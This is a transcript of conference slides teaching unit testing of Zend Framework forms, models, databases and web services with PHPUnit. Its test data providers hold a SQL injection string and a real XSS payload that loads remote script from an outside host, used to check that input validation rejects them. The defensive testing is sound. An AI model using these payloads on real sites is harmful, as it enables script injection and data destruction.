unit testing with zend framework tek11
DESCRIPTION
Introduction to unit testing zend framework applications with phpunit and zend testTRANSCRIPT
![Page 1: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/1.jpg)
Unit Testing with Zend Framework
TEK11, Chicago IL, USA
![Page 2: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/2.jpg)
Michelangelo van Dam• Independent Consultant
• Zend Certified Engineer (ZCE)
• President of PHPBenelux
![Page 3: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/3.jpg)
The saga continues…
![Page 4: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/4.jpg)
Zend Webinar
http://www.zend.com/en/resources/webinars/framework
![Page 5: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/5.jpg)
Any reasons not to test?
![Page 6: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/6.jpg)
Most common excuses
• no time• not within budget• development team does not know how• tests are provided after delivery• …
![Page 7: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/7.jpg)
NO EXCUSES!
![Page 8: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/8.jpg)
The cost of bugs
0
25
50
75
100
Start Milestone1 Milestone2 Milestone3
Bugs Project Costs
![Page 9: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/9.jpg)
The cost of bugs
0
25
50
75
100
Start Milestone1 Milestone2 Milestone3
Bugs Project Costs Unittests
![Page 10: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/10.jpg)
Maintainability
• during development- test will fail indicating bugs
• after sales support- testing if an issue is genuine- fixing issues won’t break code base‣ if they do, you need to fix it!
• long term projects- refactoring made easy
![Page 11: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/11.jpg)
Remember
“Once a test is made, it will always be tested!”
![Page 12: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/12.jpg)
![Page 13: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/13.jpg)
Confidence
• for the developer- code works
• for the manager- project succeeds
• for sales / general management / share holders- making profit
• for the customer- paying for what they want
![Page 14: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/14.jpg)
![Page 15: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/15.jpg)
Unit testing ZF apps
![Page 16: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/16.jpg)
Setting things up
![Page 17: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/17.jpg)
phpunit.xml<phpunit bootstrap="./TestHelper.php" colors="true"> <testsuite name="Unit test suite"> <directory>./</directory> </testsuite>
<filter> <whitelist> <directory suffix=".php">../application/</directory> <directory suffix=".php">../library/Mylib/</directory> <exclude> <directory suffix=".phtml">../application/</directory> </exclude> </whitelist> </filter>
</phpunit>
![Page 18: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/18.jpg)
TestHelper.php<?php// set our app paths and environmentsdefine('BASE_PATH', realpath(dirname(__FILE__) . '/../'));define('APPLICATION_PATH', BASE_PATH . '/application');define('TEST_PATH', BASE_PATH . '/tests');define('APPLICATION_ENV', 'testing');
// Include pathset_include_path( . PATH_SEPARATOR . BASE_PATH . '/library' . PATH_SEPARATOR . get_include_path());
// Set the default timezone !!!date_default_timezone_set('Europe/Brussels');
// We wanna catch all errors en strict warningserror_reporting(E_ALL|E_STRICT);
require_once 'Zend/Application.php';$application = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');
$application->bootstrap();
![Page 19: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/19.jpg)
Zend_Tool since 1.11.4
• provides• phpunit.xml• bootstrap.php• IndexControllerTest.php
Ralph Schindler
![Page 20: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/20.jpg)
Start your engines!
http://www.flickr.com/photos/robdunckley/3781995277
![Page 21: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/21.jpg)
Testing Zend_Form
![Page 22: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/22.jpg)
CommentForm
Name:
E-mail Address:
Website:
Comment:
Post
![Page 23: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/23.jpg)
Start with the test<?phpclass Application_Form_CommentFormTest extends PHPUnit_Framework_TestCase{ protected $_form; protected function setUp() { $this->_form = new Application_Form_CommentForm(); parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_form = null; }
}
![Page 24: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/24.jpg)
The good stuffpublic function goodData(){ return array ( array ('John Doe', '[email protected]', 'http://example.com', 'test comment'), array ("Matthew Weier O'Phinney", '[email protected]', 'http://weierophinney.net', 'Doing an MWOP-Test'), array ('D. Keith Casey, Jr.', '[email protected]', 'http://caseysoftware.com', 'Doing a monkey dance'), );}/** * @dataProvider goodData */public function testFormAcceptsValidData($name, $email, $web, $comment){ $data = array ( 'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment, ); $this->assertTrue($this->_form->isValid($data));}
![Page 25: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/25.jpg)
The bad stuffpublic function badData(){ return array ( array ('','','',''), array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby Tables'), array (str_repeat('x', 100000), '', '', ''), array ('John Doe', '[email protected]', "http://t.co/@\"style=\"font-size:999999999999px;\"onmouseover=\"$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')\"/", 'exploit twitter 9/21/2010'), );}/** * @dataProvider badData */public function testFormRejectsBadData($name, $email, $web, $comment){ $data = array ( 'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment, ); $this->assertFalse($this->_form->isValid($data));}
![Page 26: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/26.jpg)
Create the form class<?php
class Application_Form_CommentForm extends Zend_Form{
public function init() { /* Form Elements & Other Definitions Here ... */ }
}
![Page 27: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/27.jpg)
Let’s run the test
![Page 28: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/28.jpg)
Let’s put in our elements<?php
class Application_Form_CommentForm extends Zend_Form{
public function init() { $this->addElement('text', 'name', array ( 'Label' => 'Name', 'Required' => true)); $this->addElement('text', 'mail', array ( 'Label' => 'E-mail Address', 'Required' => true)); $this->addElement('text', 'web', array ( 'Label' => 'Website', 'Required' => false)); $this->addElement('textarea', 'comment', array ( 'Label' => 'Comment', 'Required' => true)); $this->addElement('submit', 'post', array ( 'Label' => 'Post', 'Ignore' => true)); }
}
![Page 29: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/29.jpg)
Less errors?
![Page 30: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/30.jpg)
Filter - Validate$this->addElement('text', 'name', array ( 'Label' => 'Name', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags'), 'Validators' => array ( new Zftest_Validate_Mwop(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),));$this->addElement('text', 'mail', array ( 'Label' => 'E-mail Address', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'), 'Validators' => array ( new Zend_Validate_EmailAddress(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),));$this->addElement('text', 'web', array ( 'Label' => 'Website', 'Required' => false, 'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'), 'Validators' => array ( new Zend_Validate_Callback(array('Zend_Uri', 'check')), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),));$this->addElement('textarea', 'comment', array ( 'Label' => 'Comment', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags'), 'Validators' => array ( new Zftest_Validate_TextBox(), new Zend_Validate_StringLength(array ('max' => 5000))),));
![Page 31: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/31.jpg)
Green, warm & fuzzy
![Page 32: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/32.jpg)
You’re a winner!
☑ quality code☑ tested☑ secure☑ reusable
![Page 33: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/33.jpg)
Testing models
![Page 34: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/34.jpg)
Testing business logic
• models contain logic- tied to your business- tied to your storage- tied to your resources
• no “one size fits all” solution
![Page 35: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/35.jpg)
Type: data containers
• contains structured data- populated through setters and getters
• perform logic tied to it’s purpose- transforming data- filtering data- validating data
• can convert into other data types- arrays- strings (JSON, serialized, xml, …)
• are providers to other models
![Page 36: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/36.jpg)
Comment Class
![Page 37: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/37.jpg)
Writing model test<?phpclass Application_Model_CommentTest extends PHPUnit_Framework_TestCase{ protected $_comment; protected function setUp() { $this->_comment = new Application_Model_Comment(); parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_comment = null; } public function testModelIsEmptyAtConstruct() { $this->assertSame(0, $this->_comment->getId()); $this->assertNull($this->_comment->getFullName()); $this->assertNull($this->_comment->getEmailAddress()); $this->assertNull($this->_comment->getWebsite()); $this->assertNull($this->_comment->getComment()); }}
![Page 38: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/38.jpg)
This test won’t run!
![Page 39: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/39.jpg)
Create a simple model<?php
class Application_Model_Comment{ protected $_id = 0; protected $_fullName; protected $_emailAddress; protected $_website; protected $_comment; public function setId($id) { $this->_id = (int) $id; return $this; } public function getId() { return $this->_id; } public function setFullName($fullName) { $this->_fullName = (string) $fullName; return $this; } public function getFullName() { return $this->_fullName; } public function setEmailAddress($emailAddress) { $this->_emailAddress = (string) $emailAddress; return $this; } public function getEmailAddress() { return $this->_emailAddress; } public function setWebsite($website) { $this->_website = (string) $website; return $this; } public function getWebsite() { return $this->_website; } public function setComment($comment) { $this->_comment = (string) $comment; return $this; } public function getComment() { return $this->_comment; } public function populate($row) { if (is_array($row)) { $row = new ArrayObject($row, ArrayObject::ARRAY_AS_PROPS); } if (isset ($row->id)) $this->setId($row->id); if (isset ($row->fullName)) $this->setFullName($row->fullName); if (isset ($row->emailAddress)) $this->setEmailAddress($row->emailAddress); if (isset ($row->website)) $this->setWebsite($row->website); if (isset ($row->comment)) $this->setComment($row->comment); } public function toArray() { return array ( 'id' => $this->getId(), 'fullName' => $this->getFullName(), 'emailAddress' => $this->getEmailAddress(), 'website' => $this->getWebsite(), 'comment' => $this->getComment(), ); }}
![Page 40: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/40.jpg)
We pass the test…
![Page 41: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/41.jpg)
Really ???
![Page 42: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/42.jpg)
Not all data from form!
• model can be populated from- users through the form- data stored in the database- a webservice (hosted by us or others)
• simply test it- by using same test scenario’s from our form
![Page 43: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/43.jpg)
The good stuffpublic function goodData(){ return array ( array ('John Doe', '[email protected]', 'http://example.com', 'test comment'), array ("Matthew Weier O'Phinney", '[email protected]', 'http://weierophinney.net', 'Doing an MWOP-Test'), array ('D. Keith Casey, Jr.', '[email protected]', 'http://caseysoftware.com', 'Doing a monkey dance'), );}/** * @dataProvider goodData */public function testModelAcceptsValidData($name, $mail, $web, $comment){ $data = array ( 'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment, ); try { $this->_comment->populate($data); } catch (Zend_Exception $e) { $this->fail('Unexpected exception should not be triggered'); } $data['id'] = 0; $data['emailAddress'] = strtolower($data['emailAddress']); $data['website'] = strtolower($data['website']); $this->assertSame($this->_comment->toArray(), $data);}
![Page 44: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/44.jpg)
The bad stuffpublic function badData(){ return array ( array ('','','',''), array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby Tables'), array (str_repeat('x', 1000), '', '', ''), array ('John Doe', '[email protected]', "http://t.co/@\"style=\"font-size:999999999999px;\"onmouseover=\"$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')\"/", 'exploit twitter 9/21/2010'), );}/** * @dataProvider badData */public function testModelRejectsBadData($name, $mail, $web, $comment){ $data = array ( 'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment, ); try { $this->_comment->populate($data); } catch (Zend_Exception $e) { return; } $this->fail('Expected exception should be triggered'); }
![Page 45: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/45.jpg)
Let’s run it
![Page 46: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/46.jpg)
Modify our modelprotected $_filters;protected $_validators;
public function __construct($params = null){ $this->_filters = array ( 'id' => array ('Int'), 'fullName' => array ('StringTrim', 'StripTags', new Zend_Filter_Alnum(true)), 'emailAddress' => array ('StringTrim', 'StripTags', 'StringToLower'), 'website' => array ('StringTrim', 'StripTags', 'StringToLower'), 'comment' => array ('StringTrim', 'StripTags'), ); $this->_validators = array ( 'id' => array ('Int'), 'fullName' => array ( new Zftest_Validate_Mwop(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'emailAddress' => array ( 'EmailAddress', new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'website' => array ( new Zend_Validate_Callback(array('Zend_Uri', 'check')), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'comment' => array ( new Zftest_Validate_TextBox(), new Zend_Validate_StringLength(array ('max' => 5000)), ), ); if (null !== $params) { $this->populate($params); }}
![Page 47: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/47.jpg)
Modify setters: Id & namepublic function setId($id){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('id' => $id)); if (!$input->isValid('id')) { throw new Zend_Exception('Invalid ID provided'); } $this->_id = (int) $input->id; return $this;}
public function setFullName($fullName){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('fullName' => $fullName)); if (!$input->isValid('fullName')) { throw new Zend_Exception('Invalid fullName provided'); } $this->_fullName = (string) $input->fullName; return $this;}
![Page 48: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/48.jpg)
Email & websitepublic function setEmailAddress($emailAddress){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('emailAddress' => $emailAddress)); if (!$input->isValid('emailAddress')) { throw new Zend_Exception('Invalid emailAddress provided'); } $this->_emailAddress = (string) $input->emailAddress; return $this;}
public function setWebsite($website){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('website' => $website)); if (!$input->isValid('website')) { throw new Zend_Exception('Invalid website provided'); } $this->_website = (string) $input->website; return $this;}
![Page 49: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/49.jpg)
and commentpublic function setComment($comment){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('comment' => $comment)); if (!$input->isValid('comment')) { throw new Zend_Exception('Invalid comment provided'); } $this->_comment = (string) $input->comment; return $this;}
![Page 50: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/50.jpg)
Now we’re good!
![Page 51: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/51.jpg)
Testing Databases
![Page 52: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/52.jpg)
Integration Testing
• database specific functionality- triggers- constraints- stored procedures- sharding/scalability
• data input/output- correct encoding of data- transactions execution and rollback
![Page 53: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/53.jpg)
Points of concern
• beware of automated data types- auto increment sequence ID’s- default values like CURRENT_TIMESTAMP
• beware of time related issues- timestamp vs. datetime- UTC vs. local time
![Page 54: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/54.jpg)
The domain Model
• Model object• Mapper object• Table gateway object
Read more about it ☞
![Page 55: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/55.jpg)
Change our test class
class Application_Model_CommentTest extends PHPUnit_Framework_TestCase
becomes
class Application_Model_CommentTest extends Zend_Test_PHPUnit_DatabaseTestCase
![Page 56: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/56.jpg)
Setting DB Testing upprotected $_connectionMock;
public function getConnection(){ if (null === $this->_dbMock) { $this->bootstrap = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); $this->bootstrap->bootstrap('db'); $db = $this->bootstrap->getBootstrap()->getResource('db'); $this->_connectionMock = $this->createZendDbConnection( $db, 'zftest' ); return $this->_connectionMock; }}
public function getDataSet(){ return $this->createFlatXmlDataSet( realpath(APPLICATION_PATH . '/../tests/_files/initialDataSet.xml'));}
![Page 57: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/57.jpg)
initialDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/></dataset>
![Page 58: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/58.jpg)
Testing SELECTpublic function testDatabaseCanBeRead(){ $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/selectDataSet.xml'); $this->assertDataSetsEqual($expected, $ds);}
![Page 59: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/59.jpg)
selectDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/></dataset>
![Page 60: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/60.jpg)
Testing UPDATEpublic function testDatabaseCanBeUpdated(){ $comment = new Application_Model_Comment(); $mapper = new Application_Model_CommentMapper(); $mapper->find(1, $comment); $comment->setComment('I like you picking up the challenge!'); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/updateDataSet.xml'); $this->assertDataSetsEqual($expected, $ds);}
![Page 61: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/61.jpg)
updateDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I like you picking up the challenge!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/></dataset>
![Page 62: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/62.jpg)
Testing DELETEpublic function testDatabaseCanDeleteAComment(){ $comment = new Application_Model_Comment(); $mapper = new Application_Model_CommentMapper(); $mapper->find(1, $comment) ->delete($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/deleteDataSet.xml'); $this->assertDataSetsEqual($expected, $ds);}
![Page 63: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/63.jpg)
deleteDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/></dataset>
![Page 64: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/64.jpg)
Testing INSERTpublic function testDatabaseCanAddAComment(){ $comment = new Application_Model_Comment(); $comment->setFullName('Michelangelo van Dam') ->setEmailAddress('[email protected]') ->setWebsite('http://www.dragonbe.com') ->setComment('Unit Testing, It is so addictive!!!'); $mapper = new Application_Model_CommentMapper(); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/addDataSet.xml'); $this->assertDataSetsEqual($expected, $ds);}
![Page 65: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/65.jpg)
insertDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment id="3" fullName="Michelangelo van Dam" emailAddress="[email protected]" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/></dataset>
![Page 66: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/66.jpg)
Run Test
![Page 67: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/67.jpg)
What went wrong here?
![Page 68: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/68.jpg)
AUTO_INCREMENT
![Page 69: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/69.jpg)
Testing INSERT w/ filterpublic function testDatabaseCanAddAComment(){ $comment = new Application_Model_Comment(); $comment->setFullName('Michelangelo van Dam') ->setEmailAddress('[email protected]') ->setWebsite('http://www.dragonbe.com') ->setComment('Unit Testing, It is so addictive!!!'); $mapper = new Application_Model_CommentMapper(); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $filteredDs = new PHPUnit_Extensions_Database_DataSet_DataSetFilter( $ds, array ('comment' => array ('id'))); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/addDataSet.xml'); $this->assertDataSetsEqual($expected, $filteredDs);}
![Page 70: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/70.jpg)
insertDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment fullName="Michelangelo van Dam" emailAddress="[email protected]" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/></dataset>
![Page 71: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/71.jpg)
Run Test
![Page 72: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/72.jpg)
Testing web services
![Page 73: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/73.jpg)
Web services remarks
• you need to comply with an API- that will be your reference
• you cannot always make a test-call- paid services per call- test environment is “offline”- network related issues
![Page 74: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/74.jpg)
Example: joind.in
![Page 76: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/76.jpg)
JoindinTest<?phpclass Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase{ protected $_joindin; protected $_settings; protected function setUp() { $this->_joindin = new Zftest_Service_Joindin(); $settings = simplexml_load_file(realpath( APPLICATION_PATH . '/../tests/_files/settings.xml')); $this->_settings = $settings->joindin; parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_joindin = null; }}
![Page 77: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/77.jpg)
JoindinTestpublic function testJoindinCanGetUserDetails(){ $expected = '<?xml version="1.0"?><response><item><username>DragonBe</username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</last_login></item></response>'; $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual);}
public function testJoindinCanCheckStatus(){ $date = new DateTime(); $date->setTimezone(new DateTimeZone('UTC')); $expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') . '</dt><test_string>testing unit test</test_string></response>'; $actual = $this->_joindin->site()->getStatus('testing unit test'); $this->assertXmlStringEqualsXmlString($expected, $actual);}
![Page 78: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/78.jpg)
Testing the service
![Page 79: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/79.jpg)
